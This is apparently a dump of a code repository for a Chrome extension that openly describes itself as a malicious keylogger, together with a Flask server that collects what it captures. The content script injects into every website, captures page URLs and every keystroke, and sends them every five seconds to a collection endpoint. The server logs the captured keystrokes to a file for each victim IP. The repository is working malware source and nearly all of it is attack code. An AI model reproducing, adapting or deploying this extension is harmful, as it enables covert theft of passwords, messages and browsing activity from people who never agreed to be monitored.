├── README.md ├── background.js ├── content.js ├── icons ├── .DS_Store ├── icon128.png ├── icon16.png └── icon48.png ├── manifest.json ├── server_side ├── requirements.txt └── server.py └── temis.js /README.md: -------------------------------------------------------------------------------- 1 | # Chrome Keylogger Extension 2 | 3 | Chrome Extension with JavaScript, including content scripts, background scripts, and Chrome Message Passing. 4 | 5 | ![ezgif com-gif-maker](https://user-images.githubusercontent.com/55782131/180987545-d845ef84-cd84-4efc-996e-749fe85dcd86.gif) 6 | -------------------------------------------------------------------------------- /background.js: -------------------------------------------------------------------------------- 1 | chrome.runtime.onMessage.addListener( 2 | function (request, sender, sendResponse) { 3 | sendResponse(request); 4 | } 5 | ); -------------------------------------------------------------------------------- /content.js: -------------------------------------------------------------------------------- 1 | window.onkeydown = function (e) { 2 | data = { 3 | key: e.key, 4 | page: window.location.href 5 | }; 6 | chrome.runtime.sendMessage(data, function (response) { 7 | console.log(response); 8 | }); 9 | } 10 | -------------------------------------------------------------------------------- /icons/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abugraokkali/chrome-keylogger/d80d03d6bdea9f418bfcacb87c545e4716910b15/icons/.DS_Store -------------------------------------------------------------------------------- /icons/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abugraokkali/chrome-keylogger/d80d03d6bdea9f418bfcacb87c545e4716910b15/icons/icon128.png -------------------------------------------------------------------------------- /icons/icon16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abugraokkali/chrome-keylogger/d80d03d6bdea9f418bfcacb87c545e4716910b15/icons/icon16.png -------------------------------------------------------------------------------- /icons/icon48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abugraokkali/chrome-keylogger/d80d03d6bdea9f418bfcacb87c545e4716910b15/icons/icon48.png -------------------------------------------------------------------------------- /manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Keylogger", 3 | "description": "Malicious chrome extension", 4 | "version": "1.0", 5 | "manifest_version": 3, 6 | "background": { 7 | "service_worker": "background.js" 8 | }, 9 | "host_permissions": [ 10 | "http://127.0.0.1:8080/*" 11 | ], 12 | "content_scripts": [ 13 | { 14 | "matches": [ 15 | "*://*/*" 16 | ], 17 | "js": [ 18 | "temis.js" 19 | ] 20 | } 21 | ], 22 | "icons": { 23 | "16": "icons/icon16.png", 24 | "48": "icons/icon48.png", 25 | "128": "icons/icon128.png" 26 | } 27 | } -------------------------------------------------------------------------------- /server_side/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | flask_restful 3 | flask-cors -------------------------------------------------------------------------------- /server_side/server.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | from flask_restful import Api, Resource, reqparse 3 | from flask_cors import CORS 4 | from datetime import datetime 5 | 6 | app = Flask(__name__) 7 | CORS(app) 8 | 9 | @app.route('/keylog', methods=['POST']) 10 | def post(): 11 | parser = reqparse.RequestParser() 12 | parser.add_argument('logged', required=True) 13 | args = parser.parse_args() 14 | logged = args['logged'] 15 | source = request.remote_addr 16 | savelogs(logged, source) 17 | return {'message' : source + ": " + logged }, 200 18 | 19 | @app.route('/home', methods=['GET']) 20 | def home(): 21 | return {'message' : "Welcome"}, 200 22 | 23 | def savelogs(log, source): 24 | now = datetime.now() 25 | nowtime = now.strftime("%d-%m-%Y_%H:%M:%S") 26 | f = open(source+".log", "a") 27 | f.write(nowtime + ": " + log + "\n") 28 | f.close() 29 | 30 | if __name__ == '__main__': 31 | app.run(host="0.0.0.0", port=8080) 32 | -------------------------------------------------------------------------------- /temis.js: -------------------------------------------------------------------------------- 1 | var keys = ''; 2 | var current = document.URL; 3 | 4 | var xhr = new XMLHttpRequest(); 5 | xhr.open("POST", "http://127.0.0.1:8080/keylog", true); 6 | xhr.setRequestHeader('Content-Type', 'application/json'); 7 | const json = { 8 | "logged": current, 9 | }; 10 | xhr.send(JSON.stringify(json)); 11 | 12 | document.onkeydown = function (e) { 13 | var get = window.event ? event : e; 14 | var key = get.keyCode ? get.keyCode : get.charCode; 15 | key = String.fromCharCode(key); 16 | keys += key; 17 | } 18 | 19 | window.setInterval(function () { 20 | if (keys != "") { 21 | var xhr_key = new XMLHttpRequest(); 22 | xhr_key.open("POST", "http://127.0.0.1:8080/keylog", true); 23 | xhr_key.setRequestHeader('Content-Type', 'application/json'); 24 | const json_key = { 25 | "logged": keys, 26 | }; 27 | xhr_key.send(JSON.stringify(json_key)); 28 | keys = ""; 29 | } 30 | }, 5000); --------------------------------------------------------------------------------